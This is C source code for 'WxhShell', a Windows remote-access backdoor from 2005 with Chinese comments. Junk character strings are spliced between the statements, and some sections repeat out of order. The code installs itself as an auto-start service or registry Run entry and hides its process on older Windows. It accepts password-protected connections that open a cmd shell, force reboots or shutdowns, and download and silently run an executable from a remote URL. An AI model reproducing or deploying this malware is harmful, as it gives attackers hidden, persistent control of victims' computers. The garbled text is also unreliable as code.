5 PROCNTQSIP NtQueryInformationProcess; SBzJQt@Hs W[AX? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8jMw7ti static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %qV=PC 4sP0oe[h HANDLE hProcess; Xg^`fRg =T PROCESS_BASIC_INFORMATION pbi; UP58Cln* X#Y0g`muW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =XzrmPu if(NULL == hInst ) return 0; \v)Dy)Vhg2 QpBgG~h" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &;&i#ZO g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (]w_}E]N NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oq7M1|{ "4<RMYQ if (!NtQueryInformationProcess) return 0; (Dlh;Ic
r9 po4seW! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yev] Lp if(!hProcess) return 0; ~4"adOv P%8
Gaa= if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sG=D(n1 ?w#V<3= CloseHandle(hProcess); ^vn8s~# yS[:C
2v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0BMKwZg if(hProcess==NULL) return 0; sX.L EeIV6ug HMODULE hMod; W-qec char procName[255]; "T=Z/@Vy unsigned long cbNeeded; "_eHK#) E/v.+m if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <4ccT l ` .|JTm[ CloseHandle(hProcess); [a:yKJ[ ,|D_? D)U if(strstr(procName,"services")) return 1; // 以服务启动 (#k>cA(} )e d5~ok return 0; // 注册表启动 4/;hA
z } jVC`38| 5=WzKM // 主模块 !_ZknZTT int StartWxhshell(LPSTR lpCmdLine) 4zkn~oy { _PLY<i2vr SOCKET wsl; {_&'tXL BOOL val=TRUE; i ?&t@"' int port=0; )r3}9J struct sockaddr_in door; :hJHjh n+QUT if(wscfg.ws_autoins) Install(); /{>$E>N; cKJf0S:cx- port=atoi(lpCmdLine); cXU8}>qY7 @<=x fs if(port<=0) port=wscfg.ws_port; Uy2NZ%rnt "(zvI>A WSADATA data; #tg,%*.s if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g HdNqOy
c UCG8=+t5T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '3TwrY?- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H.*:+ door.sin_family = AF_INET; f!%G{G^` door.sin_addr.s_addr = inet_addr("127.0.0.1"); x)N$.7'9OJ door.sin_port = htons(port); )9I>y2WU~ Aslh}'$}- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _1Iy /T@1 closesocket(wsl); KJn@2x6LP return 1; Ir&rTGFN
} q,`"Z)97 TUHm.!+a if(listen(wsl,2) == INVALID_SOCKET) { hsG~xRA\ closesocket(wsl); O#LG$Y
n* return 1; pRWEBd1U } &|yQwNA*a" Wxhshell(wsl); *j5>2-C & WSACleanup(); %:2EoXN" q.0Evr: return 0; !~Vo'ykwx' 4<}!+X7m } > %h7)}U 5.m&93P // 以NT服务方式启动 }<R,)ZV^G VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iO1ir+B\ { ;;e\"%}@=q DWORD status = 0; mN^w?R41m DWORD specificError = 0xfffffff; I@Cq<:+(3 ,;;7+|` serviceStatus.dwServiceType = SERVICE_WIN32; NwAvxN<R(f serviceStatus.dwCurrentState = SERVICE_START_PENDING; jf&B5>-x serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e_RLKFv7 serviceStatus.dwWin32ExitCode = 0; DrI"YX serviceStatus.dwServiceSpecificExitCode = 0; nhV\< serviceStatus.dwCheckPoint = 0; # &zM.O1Q serviceStatus.dwWaitHint = 0; Yc~(Wue Z|3fhaT hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (-S<9u-r if (hServiceStatusHandle==0) return; mm}y/dO~} Y-2IAJHS8 status = GetLastError(); 0lpkG
="&r if (status!=NO_ERROR) A*+pGQ { mj{B_3b5 serviceStatus.dwCurrentState = SERVICE_STOPPED; mJ+M|#Ox serviceStatus.dwCheckPoint = 0; pH&*5=t} serviceStatus.dwWaitHint = 0; d*qb^C{'" serviceStatus.dwWin32ExitCode = status; 7~b=G serviceStatus.dwServiceSpecificExitCode = specificError; <PLQY SetServiceStatus(hServiceStatusHandle, &serviceStatus); J)7\k$ D return; p7{2/mj }
Lk%`hsv CFE ubEb serviceStatus.dwCurrentState = SERVICE_RUNNING; r<'ni serviceStatus.dwCheckPoint = 0; G47(LE"2b serviceStatus.dwWaitHint = 0; !8g419Yg if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /my5s\;s|z } ')R+Z/hG. w8=&rzr8 // 处理NT服务事件,比如:启动、停止 nm"]q`(K VOID WINAPI NTServiceHandler(DWORD fdwControl) uu7 ?,WT { ),{v switch(fdwControl) r ^=rs!f@ { EPEWyGw case SERVICE_CONTROL_STOP: 8y:/!rRN serviceStatus.dwWin32ExitCode = 0; l7h6R$7; 0 serviceStatus.dwCurrentState = SERVICE_STOPPED; EdL2t`` serviceStatus.dwCheckPoint = 0; {F!/\2a serviceStatus.dwWaitHint = 0; S?b^g'5m { TxJoN]Z. SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1`hmD1d } oX=dJJE return; v~8CpC case SERVICE_CONTROL_PAUSE: 8F>u6Y[P serviceStatus.dwCurrentState = SERVICE_PAUSED; @}, |i*H/ break; R*[X. H case SERVICE_CONTROL_CONTINUE: 9Lus,l\ serviceStatus.dwCurrentState = SERVICE_RUNNING; :g%hT$,]3b break; WCNycH+1 case SERVICE_CONTROL_INTERROGATE: -L-#-dK' break; 2[Ofa(mkkp }; sKy3('5; SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Pu8IXW } ` ~w|Xz =Bg $OX // 标准应用程序主函数 #B!|sXC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jJY{np { w"`Zf7a{/ Z8Iqgz7|y // 获取操作系统版本 v)p'0F#6A OsIsNt=GetOsVer(); xzi_u.iOP GetModuleFileName(NULL,ExeFile,MAX_PATH);
=oE(ur ~<N9ckK // 从命令行安装 ?rm3Iac0S if(strpbrk(lpCmdLine,"iI")) Install(); _:N= eOoqH$
i // 下载执行文件 i)iK0g"2 if(wscfg.ws_downexe) { g6
H}a if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mjQZ"h0 WinExec(wscfg.ws_filenam,SW_HIDE); 3S 5`I9I } ~dO+kD gt(^9t; if(!OsIsNt) { Pz^C3h$5_
// 如果时win9x,隐藏进程并且设置为注册表启动 b(IZ:ekZ5 HideProc(); (himx8Uml2 StartWxhshell(lpCmdLine); <x8I<K } &4O2uEW0 else eo@kn yA<& if(StartFromService()) hv // 以服务方式启动 +\doF StartServiceCtrlDispatcher(DispatchTable); |(%=zb=?X else tk)JE^' // 普通方式启动 nTtE+~u StartWxhshell(lpCmdLine); oE.Ckz~*d TU6(Q,Yi| return 0; 4U8N7 } GE8.{P u`.3\Geh 4se6+oJe E<ILZpP =========================================== r6eZ-V`4 <{+U- ^rzR w%?Zb[!& 5tI#UBha zv7)JH7EV& \0W0 o5c$ " v<Ywfb mm9uhlV8 #include <stdio.h> =F2`X#x_j #include <string.h> {2%'=v #include <windows.h> 4Q!|fn0Sv #include <winsock2.h> "38L ,PW0Z #include <winsvc.h> 28LBvJVq@ #include <urlmon.h> g~ii^[W d,b]#fj #pragma comment (lib, "Ws2_32.lib") J(G-c5&= #pragma comment (lib, "urlmon.lib") y|0!sNg =P9Tc"2PN #define MAX_USER 100 // 最大客户端连接数 _dY5qW1p #define BUF_SOCK 200 // sock buffer e-Oz`qW~ #define KEY_BUFF 255 // 输入 buffer xHCdtloi?I B"sB0NuT/$ #define REBOOT 0 // 重启 AdpJ4}|0 #define SHUTDOWN 1 // 关机 gg/ts]$ <PFF\NE9 #define DEF_PORT 5000 // 监听端口 N%,zME ~_hA{$ #define REG_LEN 16 // 注册表键长度 !F:mDZeY #define SVC_LEN 80 // NT服务名长度 A^E 6)A= r#A*{4wz // 从dll定义API S0Ur{!9\#^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !{4'=+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)7{r8a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pw&k0?K# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ym p
ik.' .l hS // wxhshell配置信息 g[R4/]K^$ struct WSCFG { |ZM>UJ int ws_port; // 监听端口 aX~Jk >a0 char ws_passstr[REG_LEN]; // 口令 V.9p4k` int ws_autoins; // 安装标记, 1=yes 0=no I94-#*~I char ws_regname[REG_LEN]; // 注册表键名 k*u6'IKi.4 char ws_svcname[REG_LEN]; // 服务名 \#PZZH% char ws_svcdisp[SVC_LEN]; // 服务显示名 YV _ 7 .+A char ws_svcdesc[SVC_LEN]; // 服务描述信息 &"?99E> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z4X, D`s int ws_downexe; // 下载执行标记, 1=yes 0=no l1#.rg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qqJghV$Oj char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M}j[{wW3 aZ|?i
} }; em95ccs'- <$@I*xk[ // default Wxhshell configuration ,N_/J4Us struct WSCFG wscfg={DEF_PORT, wMw}3qX$j "xuhuanlingzhe", J0
dY%pH# 1, Vo6+| ztk| "Wxhshell", v
k=|TE "Wxhshell", oeZUd}P "WxhShell Service", HYmUD74FR "Wrsky Windows CmdShell Service", q`'"+` h
"Please Input Your Password: ", t`'jr=e,~ 1, LXWI'nxV "http://www.wrsky.com/wxhshell.exe", qcouZO "Wxhshell.exe" %Oo
f/q }; D)bL;h xFekSH7[F // 消息定义模块 (c&%1bJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Fp$
*]| char *msg_ws_prompt="\n\r? for help\n\r#>"; S8B?uU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZqdoYU' char *msg_ws_ext="\n\rExit."; s_}6#; char *msg_ws_end="\n\rQuit."; ZPY&q&R char *msg_ws_boot="\n\rReboot..."; >&Oql9_ char *msg_ws_poff="\n\rShutdown..."; u;]xAr1 char *msg_ws_down="\n\rSave to "; `a:3S@n(} k$ T char *msg_ws_err="\n\rErr!"; Fw*O ciC char *msg_ws_ok="\n\rOK!"; 2y \ogF zRa2iCi char ExeFile[MAX_PATH]; ar\K8mj int nUser = 0; *7-rm HANDLE handles[MAX_USER]; Zxd*%v; int OsIsNt; g1?9ge1 NjT*5 . SERVICE_STATUS serviceStatus;
)#8g<]q SERVICE_STATUS_HANDLE hServiceStatusHandle; *Wvk~ Bu&9J(J1 // 函数声明 Z:<an+v|5 int Install(void); -)B_o#2=2 int Uninstall(void); gwsIzYV int DownloadFile(char *sURL, SOCKET wsh); =-_hq'il int Boot(int flag); UX[s5# void HideProc(void); _G-y{D_S& int GetOsVer(void); RjH68=n int Wxhshell(SOCKET wsl); dWQB1Y*N void TalkWithClient(void *cs); !V(r
p80 int CmdShell(SOCKET sock); '.;{"G.@' int StartFromService(void); _~MX~M3MB int StartWxhshell(LPSTR lpCmdLine); wPm |`Noj+T47I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (hdu+^Qj= VOID WINAPI NTServiceHandler( DWORD fdwControl ); t$~'$kM)< /:Gy . // 数据结构和表定义 'e' p`* SERVICE_TABLE_ENTRY DispatchTable[] = 7i{(,: { *Ow2,{Nn {wscfg.ws_svcname, NTServiceMain}, '<YBoU{e* {NULL, NULL} 79cM_O }; T&MhSJf# <xF]ca // 自我安装 Z~QLjv&$/r int Install(void) xp'Q>%v { tK .1
* char svExeFile[MAX_PATH]; 8Z_ 4%vUBg HKEY key; <K<#)mcv strcpy(svExeFile,ExeFile); +-(,'slov JKfJ%yy | // 如果是win9x系统,修改注册表设为自启动 }% q-9 if(!OsIsNt) { enZZ+|h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cV0CI& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,c^nW RegCloseKey(key); >p@b$po if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?>7-a~*A@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9(q(;|;Hp RegCloseKey(key); #T2J + return 0; 1%*\*z
} 7(X
z%v } GM'yOJo } Y I;iG[T,& else { Hnk&2bY aA52Li // 如果是NT以上系统,安装为系统服务 P_NF;v5v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T}=^D= if (schSCManager!=0) OqDP{X: { Jy%?"wn SC_HANDLE schService = CreateService OR!W3
@ ( ![_0GFbT schSCManager, xQDQgvwa wscfg.ws_svcname, HnKgD: wscfg.ws_svcdisp, _fu <`|kc SERVICE_ALL_ACCESS, bKGX>
%- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H!Q72tyo SERVICE_AUTO_START, d?J&mLQ6 SERVICE_ERROR_NORMAL, ;>jEeIlT svExeFile, o h\$u5 NULL, %+Ze$c}X NULL, Iq4B%xo6G NULL, bTrusSAl NULL, <7F-WR/2n NULL |k90aQO ); M @-:iP if (schService!=0) >@Ht*h{~ { 0V>HoH CloseServiceHandle(schService); 5!fYTo|G> CloseServiceHandle(schSCManager); ) c\Y!vS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V0_tk" strcat(svExeFile,wscfg.ws_svcname); oo2d, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K&`1{, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K _YOp1 RegCloseKey(key); nL/]Q'(5 return 0; 1J/'R37lP } $8UW^#Bpq } kt)Et CloseServiceHandle(schSCManager); +sjzT[ Dn } l;@+=uVDHm } 6{]F#ig= 0>7Ij7\[8 return 1; ;J,(YNI
1 } 2<I=xWwFA ]&]DFY~n // 自我卸载 C'|9nK$% int Uninstall(void) -Q@f), { -'d:~:1f HKEY key; yiC7)= *$-X&.h[ if(!OsIsNt) { EUuSN| a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <JWU@A-.y RegDeleteValue(key,wscfg.ws_regname); rY45.,qWs RegCloseKey(key); mLZ1u\7W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G@`F{l RegDeleteValue(key,wscfg.ws_regname); X\P%C RegCloseKey(key); -i2rcH return 0; ?#=xx.cF } 6d6cZGS[: } )wM%Ul<s } Mc asnjC else { b-VygLN +|obU9M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e!jy6t if (schSCManager!=0) =b:XL#VA { EwN{| 34C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8.B'O>\T if (schService!=0) }^Q:Q\ { Mt-r`W3 q if(DeleteService(schService)!=0) { 1l#46?]~ CloseServiceHandle(schService); j@z IJ CloseServiceHandle(schSCManager); HbA/~7 return 0; u7hu8U= } M@.S Q@E CloseServiceHandle(schService); } jJKE } "UMaZgI CloseServiceHandle(schSCManager); [A84R04_% } n>y,{"J{ } 37zBX~ :,JaOn' return 1; 3Xu|hkK\e } ~#3{5*
M M.mn9kw` // 从指定url下载文件 nTr%S&<+" int DownloadFile(char *sURL, SOCKET wsh) T[|#DMg$F { Qs,\P^n HRESULT hr; BjvQ6M{Y"+ char seps[]= "/"; ~hvj3zC5xz char *token; ~k?rP}>0 char *file; 05FGfnq.8 char myURL[MAX_PATH]; S"h;u=5it char myFILE[MAX_PATH]; r$={_M$
JFm@jc strcpy(myURL,sURL); c}qpmW F token=strtok(myURL,seps); ZDFq=)0C while(token!=NULL) CXuD%H]tx { Yn~fnI{ file=token; c{/R?< token=strtok(NULL,seps); eW(pP>@k, } 5 qfvHQ ~M imYfRi=$ GetCurrentDirectory(MAX_PATH,myFILE); H<_Tn$<zH. strcat(myFILE, "\\"); /@ @F
nQ++ strcat(myFILE, file); M
co:eE send(wsh,myFILE,strlen(myFILE),0); ;pW8a? send(wsh,"...",3,0); M[mYG _{J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |"SZpx if(hr==S_OK) +QFKaS<sn return 0; !+PrgIp> else ISpV={$Zd return 1; y5j:+2|I :.*Q@X}-I } CXrOb+ c6xr[tc% // 系统电源模块 .A< HM} int Boot(int flag) Og7yT{h_ { AhF@ HANDLE hToken; <J;O$S TOKEN_PRIVILEGES tkp; 3$!QP
N #Zm`*s` if(OsIsNt) { PK:Lv15"r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eVf D&&@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y]jx-wc3O tkp.PrivilegeCount = 1; L[2qCxB'^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VxN#\Di& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); as:l1S if(flag==REBOOT) { &}p\&4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L}*o8l` return 0; 71nZi`AR } f 3H uT=n else { oDA'$]UL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gGVt( ^ return 0; #H~55 ))F } Z?o0Q\}1 } aze#Cn,P} else { 4@0aN6Os if(flag==REBOOT) { #7 O7O~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e` 4mrBtz| return 0; FFw(`[A_ } +yO) 3 else { Wa^Wn +r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #'&-S@/nQs return 0; -w"I } o!BCR: } &s`)_P[ bPFGQlmIO return 1; B9"o Ru^} } HKJCiQ|k ;I*t5{ // win9x进程隐藏模块 kc2B_+Y1 void HideProc(void) t08U9`w { MM32\}Y6 M$EF 8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UmVn: a if ( hKernel != NULL ) <9pI~\@w { IE \RP! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @H?OHpJ"` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K` N$nOw FreeLibrary(hKernel); bW
W!,-|R } "Y+VNS `?$-T5Rr return; QgU]3`z" } W@AHE?s6g w@-G_-6W // 获取操作系统版本 @JlT*:Dz int GetOsVer(void) )isS^O$qH {
M]5l-i$ OSVERSIONINFO winfo; oi0O4J%H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n8EKTuy GetVersionEx(&winfo); Ja3#W
K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {Ycgq%1>] return 1; zRjbEL else {1)b LG|$ return 0; VDnrm* } w~B1TfqNo K;"H$0!9 // 客户端句柄模块 WDY\Fj int Wxhshell(SOCKET wsl) k H65k ( { p_Xfj2E4c SOCKET wsh; bnfeZR1m_ struct sockaddr_in client; : _Y^o DWORD myID; \xS X'/G h:pgN,W} while(nUser<MAX_USER) PNAvT$0LaZ { rmw}Ui" int nSize=sizeof(client); 2Di~}* 9& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bsu?Q'q
if(wsh==INVALID_SOCKET) return 1; e Fs5l |5;,]lbt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s>G6/TTH6 if(handles[nUser]==0) 65 zwi- closesocket(wsh); ^iEf"r else |h $Gs2 nUser++; *=@8t^fa86 } l atm_\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$Z&6
%t_'rv return 0; G:b6Wf } x%X3FbF] &H# l* // 关闭 socket ~W>{Dd(J_ void CloseIt(SOCKET wsh) ~*EipxhstJ { a)2l9 closesocket(wsh); D7pQWlN\ nUser--; Y_*KAr'{P ExitThread(0); @GAj%MK$ } ;L87
%P(. s8(Z&pQ // 客户端请求句柄 <6]Hj2 void TalkWithClient(void *cs) \KJTR0EB:> { iJ58RY i/!{k2 SOCKET wsh=(SOCKET)cs; ){GJgk|P char pwd[SVC_LEN]; 51s\)d%l char cmd[KEY_BUFF]; rs4:jS$) char chr[1]; >%6j -:S int i,j; # d"M(nt 0 F8xS8vK+ while (nUser < MAX_USER) { kN 2mPD/ <*iFVjSI( if(wscfg.ws_passstr) { hlyh8=Z6o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LGy62 y$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0e>?!Z
E //ZeroMemory(pwd,KEY_BUFF); bL<H$DB6 i=0; 5Zc while(i<SVC_LEN) { 8Ie0L3d- |qpm
// 设置超时 @I Y<i5( fd_set FdRead; ZD50-w; struct timeval TimeOut; :Dr4?6hdr FD_ZERO(&FdRead); CNuE9|W(vI FD_SET(wsh,&FdRead); gz'{l[ TimeOut.tv_sec=8; xz@*V>QT TimeOut.tv_usec=0; ly!3~W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *W2] Kxx* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pi[]k]XA\ q:vN3#=^qf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n"iaE pwd=chr[0]; e+Mm!\;` if(chr[0]==0xd || chr[0]==0xa) { SN[yC pwd=0; $hJ 4=F break; .nr%c*JUp } x?6^EB|@ i++; +Rd\*b } RU.j[8N$ 8fvKVS // 如果是非法用户,关闭 socket 2hntQ1[ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tF*Sg{:bCa } #@Tm5z MAqETjB send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1jSmTI d send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jz'%(6#'gW ]Gm&Kn> while(1) { [PrJf"Z " -[=@'NP ZeroMemory(cmd,KEY_BUFF); LUx'Dm" ~Gg19x.#uW // 自动支持客户端 telnet标准 `h'Ab63 j=0; %,N-M]Jf while(j<KEY_BUFF) { "}uu-5]3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T?n [1%K cmd[j]=chr[0]; P'5Lu if(chr[0]==0xa || chr[0]==0xd) { C>l (4*S cmd[j]=0; ]w)uo4<^J break; (s1iYK } F":dS-u&L j++; $43CNnf3N } >&Ye(3w& |%Y =]@f // 下载文件 10dK%/6/O if(strstr(cmd,"http://")) { MmfshnTN send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;h~k B if(DownloadFile(cmd,wsh)) |c]L]PU send(wsh,msg_ws_err,strlen(msg_ws_err),0); BH^cR<<j else }/ xdHt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sr6iQxE } A[88IMZs else { dZJU>o'BG {=^<yK2q switch(cmd[0]) { U$ZbBVa`~ @bFl8- // 帮助 F>u/Lh! case '?': { '~6l
6wi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SZgan break; ^3&-!<* } 0"@p|nAa // 安装 .}tpEvAw} case 'i': { |Pse=_i if(Install()) ijNI6_eU send(wsh,msg_ws_err,strlen(msg_ws_err),0); A.P*@}9 else Z!?T&: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j~ qm5} break; G#^6H]`[J: } G|$n,X1O( // 卸载 su=]gE@ case 'r': { \y/0)NL\ if(Uninstall()) U%2{PbL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xl,?Hh%# else SkXx:@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i;+<5_ break; i\L7z)u } .O4=[wE!U // 显示 wxhshell 所在路径 `O,"mm^@U case 'p': { 0c#|LF_ char svExeFile[MAX_PATH]; X`}4=> strcpy(svExeFile,"\n\r"); X 0m6<q strcat(svExeFile,ExeFile); wB*}XJah send(wsh,svExeFile,strlen(svExeFile),0); P6ugbq[x#e break; SQ`ec95', } TkjZI}]2 // 重启 TP/bPZY case 'b': { fVBu?<=d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Szt^l 7 if(Boot(REBOOT)) Fo|
rRI2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); dC}4Er else { w>#.id[k closesocket(wsh); zU>bT20x/ ExitThread(0);
2Y9@[ } gG6BEsGa, break; BG@[m } -Ly A // 关机 EG!):P case 'd': { 771r(X?Fa send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); htqC~B{1E if(Boot(SHUTDOWN)) `>$l2, send(wsh,msg_ws_err,strlen(msg_ws_err),0); oo,3mat2C else { (<5&<JC{ closesocket(wsh); 0bMbM^xV6 ExitThread(0); T+<OlXpL } kv3V| break; &uv7`VT } >:U{o!N`#_ // 获取shell Nxt z1 case 's': { \M-$|04Qt CmdShell(wsh); LfS]m>>e closesocket(wsh); )pt#Pu
ExitThread(0); NY~y:*:Q break; "/U~j4O } ,`l8KRd // 退出 _;5N@2? case 'x': { gNo}\
lm4V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V_7QWIdiy> CloseIt(wsh);
|/p2DU2 break; /H[ !v:U } $P~Tt 4068 // 离开 \wo'XF3: case 'q': { IDv|i.q3 send(wsh,msg_ws_end,strlen(msg_ws_end),0); r*s)T`T}} closesocket(wsh); #_OrS/H WSACleanup(); lw 9rf4RF exit(1); cY\"{o"C break; n<>/X_m } 8Ow0A } XB-l[4? } _:,U$W < {dV= // 提示信息 naKB2y]l if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2(sq*!tX } cn!Y7LVr } k7Z1Y!n7 q\6ZmKGnT return; Lv?e[GA } ZYX(Cf *l4`2 eqZ // shell模块句柄 Kf7v_T/ int CmdShell(SOCKET sock) ~/kx { -J=N STARTUPINFO si; rn8t<=ptH3 ZeroMemory(&si,sizeof(si)); QZ51}i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JdeGQ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O:,Fif?; PROCESS_INFORMATION ProcessInfo; ]):kMRv char cmdline[]="cmd"; DN;An0
{MK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?rgk return 0; C %o^AR } gkyv[ &-0eWwMW // 自身启动模式 Fps.Fhm int StartFromService(void) i.`RQZ$,/ { SLG3u;Ab typedef struct F[SYs/M { C|A:^6d3= DWORD ExitStatus; 9fL48f$ DWORD PebBaseAddress; SNK
_ DWORD AffinityMask; B}y-zj;T DWORD BasePriority; 9>"To ULONG UniqueProcessId; kdrya ULONG InheritedFromUniqueProcessId; M%8: } PROCESS_BASIC_INFORMATION; h0fbc;l GM<r{6Qy PROCNTQSIP NtQueryInformationProcess; 4^O'K;$leD MzsDDP+h static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hVcV_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u*$ 1e C}{$'#DV2 HANDLE hProcess; :2fz4n0{/ PROCESS_BASIC_INFORMATION pbi; D 4\T`j: h[O!kwE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oLXQ#{([ if(NULL == hInst ) return 0; D'823,-). CdRgI^5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lU<n Wf g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `n!<h,S'2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Mz N7 w<]Wg^dyQ if (!NtQueryInformationProcess) return 0; .Lk2S "+ @9pk-BB^D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wb
